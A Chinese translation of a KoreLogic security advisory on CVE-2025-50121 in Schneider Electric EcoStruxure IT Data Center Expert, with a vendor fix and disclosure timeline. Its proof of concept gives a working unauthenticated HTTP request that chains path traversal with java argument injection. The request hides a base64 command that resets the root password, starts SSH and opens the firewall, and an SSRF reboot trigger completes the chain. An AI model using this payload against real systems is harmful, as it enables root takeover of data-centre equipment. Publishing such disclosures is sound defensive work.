施耐德电气数据中心专家系统未授权远程代码执行漏洞深度解析

本文详细分析了施耐德电气EcoStruxure IT Data Center Expert 8.3及更早版本中存在的未授权远程代码执行漏洞,涉及路径遍历和OS命令注入,攻击者可利用此漏洞获取root权限。

KL-001-2025-007:施耐德电气EcoStruxure IT Data Center Expert未授权远程代码执行

1. 漏洞详情

  • 受影响厂商:施耐德电气
  • 受影响产品:EcoStruxure IT Data Center Expert
  • 受影响版本:8.3及更早版本
  • 平台:CentOS
  • CWE分类:CWE-23(相对路径遍历)、CWE-78(OS命令注入)
  • CVE ID:CVE-2025-50121

2. 漏洞描述

数据中心专家(“DCE”)设备缺乏授权控制,允许任何人伪装成NetBotz摄像头。路径遍历漏洞使攻击者能够创建恶意文件夹名称,在应用程序启动期间将参数注入特定shell命令。通过利用单独的服务器端请求伪造(SSRF)漏洞,攻击者可以链式利用这两个问题,从完全未授权的角度获取root shell。

3. 技术描述

APC NetBotz设备可配置为通过DCE Web应用程序向数据中心专家设备报告信息。此信息包含各种指标、设备警报和照片。

“/botpost/surveillance” HTTP路由允许设备通过多部分POST请求上传图像。此路由不需要身份验证。

当图像上传时,POST正文中的第一个参数被松散解析为XML。此XML包含变量"nbCameraUid",用于构建文件夹名称,随后在DCE文件系统上创建。对"nbCameraUid"未进行输入验证,使未授权攻击者能够滥用点段(../)并在DCE文件系统上的任意位置写入具有任意名称的文件夹。

此行为很危险,因为设备上存在多个shell脚本,利用通配符构建稍后执行的命令。例如,“nbfunctions"脚本使用以下代码段构建"ISXC_CLASSPATH"变量:

1
2
3
for i in "$NBC_HOME"/tomcat/lib/*.jar; do
    ISXC_CLASSPATH="${ISXC_CLASSPATH}:${i}"
done

此shell脚本"central.sh"在重启后启动Tomcat Web服务器时使用"ISXC_CLASSPATH"变量作为参数:

1
2
3
4
5
6
7
"$JAVA_HOME"/bin/java -server -Dprocess.name=isxc -Djava.awt.headless=true \
    $JMEM_OPTS $JGC $JMISC_OPTS ${DEBUG_OPTS:+"$DEBUG_OPTS"} $JMX_OPTS $PROFILE_OPTS \
    -DMAC_ADDRESS="$MAC_ADDRESS" -DNBC_HOME="$NBC_HOME" -Duser.timezone="$NBC_TIMEZONE" \
    -Duser.language="$NBC_LANG" -Duser.country="$NBC_COUNTRY" \
    -Dorg.apache.cxf.Logger=org.apache.cxf.common.logging.Log4jLogger \
    -Dorg.restlet.engine.loggerFacadeClass=org.restlet.ext.slf4j.Slf4jLoggerFacade \
    -cp $ISXC_CLASSPATH com.netbotz.server.Main

由于通配符不区分文件夹和文件,只要文件夹名称以字符串”.jar"结尾,就可以将命令行参数注入"java"调用。

要利用此行为,攻击者可以注入"-Xms1m"、"-Xmx2m"和"XX:OnOutOfMemoryError"参数,这些参数严重限制了为"java"运行时分配的总内存。“XX:OnOutOfMemoryError"参数的值将在有限内存耗尽时作为附加shell命令执行。

4. 缓解和修复建议

EcoStruxure IT Data Center Expert版本9.0包含对这些漏洞的修复,可从施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf。

5. 致谢

此漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2025-02-14:KoreLogic向施耐德电气CPCERT报告漏洞详情。
  • 2025-02-17:厂商确认收到KoreLogic的提交。
  • 2025-02-25:厂商确认报告的漏洞。
  • 2025-02-28:厂商请求与KoreLogic会面,讨论此漏洞以及KoreLogic相关提交的修复时间表。
  • 2025-03-04:KoreLogic和施耐德电气同意将漏洞详情禁运至产品更新9.0,大约在2025年7月。
  • 2025-06-20:厂商通知KoreLogic此漏洞的发布日期为2025-07-08。
  • 2025-07-08:厂商公开披露。
  • 2025-07-09:KoreLogic公开披露。

7. 概念验证

作为概念验证,可以向DCE设备发送以下HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /botpost/surveillance HTTP/1.1
Host: victim.com
Content-Length: 1010
Content-Type: multipart/form-data; boundary=09b3621e3cb4509abb3722922089bc54

--09b3621e3cb4509abb3722922089bc54
Content-Disposition: form-data; name="foo"; filename=""
Content-Type: application/xml

<data>
    somePrefix
    timestamp="1627896543210"
    someMiddleData
    nbSerialNum<string-val>00:00:00:00:00:00<
    someMiddleData
    <variable varid="/../../../../../../../../../usr/local/netbotz/nbc/tomcat/lib/zzz -Xms1m -Xmx2m 
-XX:-OmitStackTraceInFastThrow 
-XX:OnOutOfMemoryError=echo${IFS}ZWNobyByb290OmtvcmVsb2dpYyB8IGNocGFzc3dkOyBzeXN0ZW1jdGwgc3RhcnQgc3NoZDsgaXB0YWJsZXMgLUkgSU5QVVQgLXAgdGNwIC0tZHBvcnQgMjIgLWogQUNDRVBU|base64$IFS-d|bash 
-Dfoo=bar.jar" classpath="/nbCameraUid1337"/>

    someMiddleData
    <variable varid="somethingElse" classpath="/nbEnclosureEnc1337"/>
    someSuffix
</data>
--09b3621e3cb4509abb3722922089bc54
Content-Disposition: form-data; name="bar"; filename="korelogic.jpeg"
Content-Type: image/jpeg

z
--09b3621e3cb4509abb3722922089bc54--

这将在”/usr/local/netbotz/nbc/tomcat/lib/“目录中创建一个恶意命名的文件夹:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[root@dce ~]# ls /usr/local/netbotz/nbc/tomcat/lib/
 catalina.jar
 catalina-optional.jar
 commons-modeler-2.0.1.jar
 jsp-api.jar
 naming-factory.jar
 naming-resources.jar
 servlet-api.jar
 tomcat-ajp.jar
 tomcat-coyote.jar
 tomcat-http.jar
 tomcat-util.jar
 'zzz -Xms1m -Xmx2m -XX:-OmitStackTraceInFastThrow 
-XX:OnOutOfMemoryError=echo${IFS}ZWNobyByb290OmtvcmVsb2dpYyB8IGNocGFzc3dkOyBzeXN0ZW1jdGwgc3RhcnQgc3NoZDsgaXB0YWJsZXMgLUkgSU5QVVQgLXAgdGNwIC0tZHBvcnQgMjIgLWogQUNDRVBU|base64$IFS-d|bash 
-Dfoo=bar.jar'

当Tomcat服务器重启时(在系统升级或用户启动期间),文件夹名称被通配并成功将参数注入"java"调用:

1
2
3
4
5
6
[root@dce ~]# ps aux | grep tomcat
 root      73359  0.0  0.1 7384952 37052 ?       Sl 02:26   0:00 /etc/alternatives/jre/bin/java -cp 
:/usr/local/netbotz/nbc/jars/activation-1.1.jar:...:/usr/local/netbotz/nbc/tomcat/lib/tomcat-util.jar:/usr/local/netbotz/nbc/tomcat/lib/zzz 
-Xms1m -Xmx2m -XX:-OmitStackTraceInFastThrow 
-XX:OnOutOfMemoryError=echo${IFS}ZWNobyByb290OmtvcmVsb2dpYyB8IGNocGFzc3dkOyBzeXN0ZW1jdGwgc3RhcnQgc3NoZDsgaXB0YWJsZXMgLUkgSU5QVVQgLXAgdGNwIC0tZHBvcnQgMjIgLWogQUNDRVBU|base64$IFS-d|bash 
-Dfoo=bar.jar com.netbotz.server.tools.NBVars -g nbc.timezone

由于注入了"Xms"和"Xmx"标志,抛出"OutOfMemory"错误,并执行以下shell命令(经过base64解码后):

1
echo root:korelogic | chpasswd; systemctl start sshd; iptables -I INPUT -p tcp --dport 22 -j ACCEPT

这有效地将"root"密码更改为字符串"korelogic”,启用SSH,并修改防火墙规则以允许访问端口22(TCP),使攻击者能够SSH进入设备。

1
2
3
4
[goon@security struxureware]$ ssh -t root@192.168.2.90 id
root@192.168.2.90's password:
uid=0(root) gid=0(root) groups=0(root)
Connection to 192.168.2.90 closed.

当端口80启用时,攻击者可以利用"/plugins"路由中的单独服务器端请求伪造(SSRF)漏洞(CVE-2025-50125/KL-001-2025-011),通过发送格式错误的HTTP请求强制重启Tomcat服务器。例如以下HTTP请求:

1
2
3
rnmf /plugins HTTP/1.1
Host: 127.0.0.1:7613
Connection: keep-alive

DCE Web应用程序不安全地将此请求代理到仅可通过环回接口访问的Java服务。以下代码段来自负责此服务的反编译JAR:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
while (true) {
    final InetAddress local = InetAddress.getByName("127.0.0.1");
    final ServerSocket server = new ServerSocket(7613, 5, local);
    final Socket connect = server.accept();
    this.logger.debug((Object)"Received socket connection...");
    final BufferedReader in = new BufferedReader(new InputStreamReader(connect.getInputStream()));
    String val = in.readLine();
    if (val == null) {
        val = "";
    }
    final boolean doReboot = val.startsWith("rnmf");

代码表明,当数据流以ASCII字符"rnmf"开头时,它被解释为"reboot"指令,随后停止并启动Tomcat服务器。

KoreLogic创建了一个名为"unauth2shell.py"的概念验证脚本,利用这两个漏洞从完全未授权的角度获取"root"用户的shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[attacker@box]$ python unauth2shell.py
[~] Creating malicious folder...
[+] Created malicious folder
[~] Restarting application...
[+] Restart successfully initiated
[~] Polling...
[~] Polling...
[~] Polling...
[~] Polling...
[~] Polling...
[+] Restart successful

[root@dce ~]# id
uid=0(root) gid=0(root) groups=0(root)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计